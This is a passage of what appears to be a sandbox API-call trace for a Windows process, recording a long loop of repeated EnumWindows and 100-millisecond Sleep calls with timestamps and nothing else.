EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.870] Sleep (dwMilliseconds=0x64) [0250.872] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.872] Sleep (dwMilliseconds=0x64) [0250.874] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.874] Sleep (dwMilliseconds=0x64) [0250.876] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.876] Sleep (dwMilliseconds=0x64) [0250.877] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.878] Sleep (dwMilliseconds=0x64) [0250.879] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.879] Sleep (dwMilliseconds=0x64) [0250.881] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.881] Sleep (dwMilliseconds=0x64) [0250.883] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.883] Sleep (dwMilliseconds=0x64) [0250.885] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.885] Sleep (dwMilliseconds=0x64) [0250.887] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.887] Sleep (dwMilliseconds=0x64) [0250.889] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.890] Sleep (dwMilliseconds=0x64) [0250.892] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.892] Sleep (dwMilliseconds=0x64) [0250.894] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.894] Sleep (dwMilliseconds=0x64) [0250.895] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.896] Sleep (dwMilliseconds=0x64) [0250.897] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.897] Sleep (dwMilliseconds=0x64) [0250.899] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.899] Sleep (dwMilliseconds=0x64) [0250.900] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.901] Sleep (dwMilliseconds=0x64) [0250.902] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.902] Sleep (dwMilliseconds=0x64) [0250.904] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.904] Sleep (dwMilliseconds=0x64) [0250.906] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.906] Sleep (dwMilliseconds=0x64) [0250.907] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.908] Sleep (dwMilliseconds=0x64) [0250.920] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.921] Sleep (dwMilliseconds=0x64) [0250.922] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.923] Sleep (dwMilliseconds=0x64) [0250.924] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.925] Sleep (dwMilliseconds=0x64) [0250.926] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.926] Sleep (dwMilliseconds=0x64) [0250.928] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.928] Sleep (dwMilliseconds=0x64) [0250.929] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.930] Sleep (dwMilliseconds=0x64) [0250.931] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.931] Sleep (dwMilliseconds=0x64) [0250.933] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.933] Sleep (dwMilliseconds=0x64) [0250.935] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.935] Sleep (dwMilliseconds=0x64) [0250.936] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.937] Sleep (dwMilliseconds=0x64) [0250.940] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.940] Sleep (dwMilliseconds=0x64) [0250.942] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.942] Sleep (dwMilliseconds=0x64) [0250.944] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.944] Sleep (dwMilliseconds=0x64) [0250.946] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.946] Sleep (dwMilliseconds=0x64) [0250.948] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.948] Sleep (dwMilliseconds=0x64) [0250.949] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.950] Sleep (dwMilliseconds=0x64) [0250.951] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.951] Sleep (dwMilliseconds=0x64) [0250.953] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.953] Sleep (dwMilliseconds=0x64) [0250.956] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.956] Sleep (dwMilliseconds=0x64) [0250.958] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.958] Sleep (dwMilliseconds=0x64) [0250.961] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.961] Sleep (dwMilliseconds=0x64) [0250.965] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.965] Sleep (dwMilliseconds=0x64) [0250.967] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.967] Sleep (dwMilliseconds=0x64) [0250.968] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.969] Sleep (dwMilliseconds=0x64) [0250.970] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.970] Sleep (dwMilliseconds=0x64) [0250.972] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.973] Sleep (dwMilliseconds=0x64) [0250.975] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.975] Sleep (dwMilliseconds=0x64) [0250.976] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.976] Sleep (dwMilliseconds=0x64) [0250.977] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.978] Sleep (dwMilliseconds=0x64) [0250.979] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.979] Sleep (dwMilliseconds=0x64) [0250.981] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.981] Sleep (dwMilliseconds=0x64) [0250.983] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.984] Sleep (dwMilliseconds=0x64) [0250.985] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.985] Sleep (dwMilliseconds=0x64) [0250.987] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.987] Sleep (dwMilliseconds=0x64) [0250.988] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.990] Sleep (dwMilliseconds=0x64) [0250.992] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.993] Sleep (dwMilliseconds=0x64) [0250.994] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.994] Sleep (dwMilliseconds=0x64) [0250.997] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.997] Sleep (dwMilliseconds=0x64) [0250.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.999] Sleep (dwMilliseconds=0x64) [0251.000] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.000] Sleep (dwMilliseconds=0x64) [0251.002] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.002] Sleep (dwMilliseconds=0x64) [0251.004] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.004] Sleep (dwMilliseconds=0x64) [0251.005] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.006] Sleep (dwMilliseconds=0x64) [0251.007] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.007] Sleep (dwMilliseconds=0x64) [0251.009] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.009] Sleep (dwMilliseconds=0x64) [0251.010] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.010] Sleep (dwMilliseconds=0x64) [0251.012] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.012] Sleep (dwMilliseconds=0x64) [0251.013] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.014] Sleep (dwMilliseconds=0x64) [0251.015] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.015] Sleep (dwMilliseconds=0x64) [0251.017] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.017] Sleep (dwMilliseconds=0x64) [0251.019] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.019] Sleep (dwMilliseconds=0x64) [0251.021] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.021] Sleep (dwMilliseconds=0x64) [0251.022] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.022] Sleep (dwMilliseconds=0x64) [0251.024] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.024] Sleep (dwMilliseconds=0x64) [0251.026] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.026] Sleep (dwMilliseconds=0x64) [0251.028] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.028] Sleep (dwMilliseconds=0x64) [0251.029] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.029] Sleep (dwMilliseconds=0x64) [0251.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.031] Sleep (dwMilliseconds=0x64) [0251.033] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.033] Sleep (dwMilliseconds=0x64) [0251.034] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.035] Sleep (dwMilliseconds=0x64) [0251.036] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.036] Sleep (dwMilliseconds=0x64) [0251.037] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.038] Sleep (dwMilliseconds=0x64) [0251.152] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.152] Sleep (dwMilliseconds=0x64) [0251.154] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.154] Sleep (dwMilliseconds=0x64) [0251.156] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.157] Sleep (dwMilliseconds=0x64) [0251.158] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.159] Sleep (dwMilliseconds=0x64) [0251.160] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.160] Sleep (dwMilliseconds=0x64) [0251.162] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.162] Sleep (dwMilliseconds=0x64) [0251.164] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.164] Sleep (dwMilliseconds=0x64) [0251.168] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.168] Sleep (dwMilliseconds=0x64) [0251.170] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.170] Sleep (dwMilliseconds=0x64) [0251.172] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.173] Sleep (dwMilliseconds=0x64) [0251.174] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.174] Sleep (dwMilliseconds=0x64) [0251.176] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.176] Sleep (dwMilliseconds=0x64) [0251.177] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.177] Sleep (dwMilliseconds=0x64) [0251.179] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.179] Sleep (dwMilliseconds=0x64) [0251.180] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.180] Sleep (dwMilliseconds=0x64) [0251.289] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.289] Sleep (dwMilliseconds=0x64) [0251.291] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.291] Sleep (dwMilliseconds=0x64) [0251.293] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.293] Sleep (dwMilliseconds=0x64) [0251.294] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.294] Sleep (dwMilliseconds=0x64) [0251.296] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.296] Sleep (dwMilliseconds=0x64) [0251.461] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.462] Sleep (dwMilliseconds=0x64) [0251.476] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.476] Sleep (dwMilliseconds=0x64) [0251.572] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.573] Sleep (dwMilliseconds=0x64) [0251.574] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.575] Sleep (dwMilliseconds=0x64) [0251.576] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.576] Sleep (dwMilliseconds=0x64) [0251.578] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.578] Sleep (dwMilliseconds=0x64) [0251.580] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.580] Sleep (dwMilliseconds=0x64) [0251.582] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.582] Sleep (dwMilliseconds=0x64) [0251.586] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.586] Sleep (dwMilliseconds=0x64) [0251.588] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.588] Sleep (dwMilliseconds=0x64) [0251.590] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.591] Sleep (dwMilliseconds=0x64) [0251.593] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.594] Sleep (dwMilliseconds=0x64) [0251.595] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.595] Sleep (dwMilliseconds=0x64) [0251.597] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.597] Sleep (dwMilliseconds=0x64) [0251.599] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.599] Sleep (dwMilliseconds=0x64) [0251.601] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.601] Sleep (dwMilliseconds=0x64) [0251.602] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.602] Sleep (dwMilliseconds=0x64) [0251.714] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.720] Sleep (dwMilliseconds=0x64) [0251.722] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.722] Sleep (dwMilliseconds=0x64) [0251.723] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.724] Sleep (dwMilliseconds=0x64) [0251.725] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.726] Sleep (dwMilliseconds=0x64) [0251.728] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.728] Sleep (dwMilliseconds=0x64) [0251.729] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.730] Sleep (dwMilliseconds=0x64) [0251.731] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.731] Sleep (dwMilliseconds=0x64) [0251.732] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.733] Sleep (dwMilliseconds=0x64) [0251.734] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.734] Sleep (dwMilliseconds=0x64) [0251.735] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.736] Sleep (dwMilliseconds=0x64) [0251.737] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.737] Sleep (dwMilliseconds=0x64) [0251.739] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.739] Sleep (dwMilliseconds=0x64) [0251.741] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.742] Sleep (dwMilliseconds=0x64) [0251.743] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.743] Sleep (dwMilliseconds=0x64) [0251.855] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.855] Sleep (dwMilliseconds=0x64) [0251.857] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.857] Sleep (dwMilliseconds=0x64) [0251.859] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.859] Sleep (dwMilliseconds=0x64) [0251.862] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.862] Sleep (dwMilliseconds=0x64) [0251.864] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.864] Sleep (dwMilliseconds=0x64) [0251.866] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.867] Sleep (dwMilliseconds=0x64) [0251.868] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.868] Sleep (dwMilliseconds=0x64) [0251.870] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.870] Sleep (dwMilliseconds=0x64) [0251.872] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.873] Sleep (dwMilliseconds=0x64) [0251.874] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.874] Sleep (dwMilliseconds=0x64) [0251.876] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.876] Sleep (dwMilliseconds=0x64) [0251.877] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.877] Sleep (dwMilliseconds=0x64) [0251.879] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.879] Sleep (dwMilliseconds=0x64) [0251.881] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.881] Sleep (dwMilliseconds=0x64) [0251.883] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.883] Sleep (dwMilliseconds=0x64) [0251.884] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.884] Sleep (dwMilliseconds=0x64) [0251.910] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.911] Sleep (dwMilliseconds=0x64) [0251.997] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0251.997] Sleep (dwMilliseconds=0x64) [0252.019] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.020] Sleep (dwMilliseconds=0x64) [0252.035] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.035] Sleep (dwMilliseconds=0x64) [0252.145] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.145] Sleep (dwMilliseconds=0x64) [0252.147] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.147] Sleep (dwMilliseconds=0x64) [0252.149] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.149] Sleep (dwMilliseconds=0x64) [0252.151] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.151] Sleep (dwMilliseconds=0x64) [0252.152] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.153] Sleep (dwMilliseconds=0x64) [0252.154] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.154] Sleep (dwMilliseconds=0x64) [0252.156] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.156] Sleep (dwMilliseconds=0x64) [0252.157] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.158] Sleep (dwMilliseconds=0x64) [0252.159] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.159] Sleep (dwMilliseconds=0x64) [0252.161] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.162] Sleep (dwMilliseconds=0x64) [0252.163] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.163] Sleep (dwMilliseconds=0x64) [0252.164] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.165] Sleep (dwMilliseconds=0x64) [0252.166] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.166] Sleep (dwMilliseconds=0x64) [0252.168] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.168] Sleep (dwMilliseconds=0x64) [0252.170] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.170] Sleep (dwMilliseconds=0x64) [0252.171] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.172] Sleep (dwMilliseconds=0x64) [0252.173] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.173] Sleep (dwMilliseconds=0x64) [0252.174] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.175] Sleep (dwMilliseconds=0x64) [0252.176] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.176] Sleep (dwMilliseconds=0x64) [0252.178] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.178] Sleep (dwMilliseconds=0x64) [0252.180] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.180] Sleep (dwMilliseconds=0x64) [0252.182] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.182] Sleep (dwMilliseconds=0x64) [0252.183] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.183] Sleep (dwMilliseconds=0x64) [0252.185] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.185] Sleep (dwMilliseconds=0x64) [0252.187] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.187] Sleep (dwMilliseconds=0x64) [0252.189] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.189] Sleep (dwMilliseconds=0x64) [0252.192] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.192] Sleep (dwMilliseconds=0x64) [0252.193] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.194] Sleep (dwMilliseconds=0x64) [0252.195] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.195] Sleep (dwMilliseconds=0x64) [0252.198] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.198] Sleep (dwMilliseconds=0x64) [0252.200] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.200] Sleep (dwMilliseconds=0x64) [0252.201] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.201] Sleep (dwMilliseconds=0x64) [0252.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.203] Sleep (dwMilliseconds=0x64) [0252.205] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.205] Sleep (dwMilliseconds=0x64) [0252.206] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.207] Sleep (dwMilliseconds=0x64) [0252.209] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.209] Sleep (dwMilliseconds=0x64) [0252.211] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.211] Sleep (dwMilliseconds=0x64) [0252.213] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.214] Sleep (dwMilliseconds=0x64) [0252.215] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.216] Sleep (dwMilliseconds=0x64) [0252.219] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.219] Sleep (dwMilliseconds=0x64) [0252.225] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.225] Sleep (dwMilliseconds=0x64) [0252.227] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.227] Sleep (dwMilliseconds=0x64) [0252.228] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.229] Sleep (dwMilliseconds=0x64) [0252.230] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.231] Sleep (dwMilliseconds=0x64) [0252.232] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.233] Sleep (dwMilliseconds=0x64) [0252.234] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.235] Sleep (dwMilliseconds=0x64) [0252.237] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.237] Sleep (dwMilliseconds=0x64) [0252.239] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.239] Sleep (dwMilliseconds=0x64) [0252.241] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.241] Sleep (dwMilliseconds=0x64) [0252.242] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.242] Sleep (dwMilliseconds=0x64) [0252.244] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.244] Sleep (dwMilliseconds=0x64) [0252.246] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.246] Sleep (dwMilliseconds=0x64) [0252.248] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.248] Sleep (dwMilliseconds=0x64) [0252.250] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.250] Sleep (dwMilliseconds=0x64) [0252.251] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.251] Sleep (dwMilliseconds=0x64) [0252.255] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.255] Sleep (dwMilliseconds=0x64) [0252.257] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.257] Sleep (dwMilliseconds=0x64) [0252.259] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.259] Sleep (dwMilliseconds=0x64) [0252.261] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.261] Sleep (dwMilliseconds=0x64) [0252.263] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.263] Sleep (dwMilliseconds=0x64) [0252.264] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.265] Sleep (dwMilliseconds=0x64) [0252.266] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.266] Sleep (dwMilliseconds=0x64) [0252.270] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.270] Sleep (dwMilliseconds=0x64) [0252.272] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.272] Sleep (dwMilliseconds=0x64) [0252.274] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.274] Sleep (dwMilliseconds=0x64) [0252.276] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.276] Sleep (dwMilliseconds=0x64) [0252.278] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.279] Sleep (dwMilliseconds=0x64) [0252.280] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.280] Sleep (dwMilliseconds=0x64) [0252.282] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.282] Sleep (dwMilliseconds=0x64) [0252.312] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.312] Sleep (dwMilliseconds=0x64) [0252.314] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.315] Sleep (dwMilliseconds=0x64) [0252.316] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.317] Sleep (dwMilliseconds=0x64) [0252.318] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.318] Sleep (dwMilliseconds=0x64) [0252.322] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.323] Sleep (dwMilliseconds=0x64) [0252.325] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.325] Sleep (dwMilliseconds=0x64) [0252.326] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.327] Sleep (dwMilliseconds=0x64) [0252.328] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.329] Sleep (dwMilliseconds=0x64) [0252.330] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.330] Sleep (dwMilliseconds=0x64) [0252.332] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.332] Sleep (dwMilliseconds=0x64) [0252.334] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.334] Sleep (dwMilliseconds=0x64) [0252.336] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.336] Sleep (dwMilliseconds=0x64) [0252.338] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.338] Sleep (dwMilliseconds=0x64) [0252.340] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.340] Sleep (dwMilliseconds=0x64) [0252.343] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.343] Sleep (dwMilliseconds=0x64) [0252.345] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.345] Sleep (dwMilliseconds=0x64) [0252.347] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.347] Sleep (dwMilliseconds=0x64) [0252.349] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.349] Sleep (dwMilliseconds=0x64) [0252.351] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.351] Sleep (dwMilliseconds=0x64) 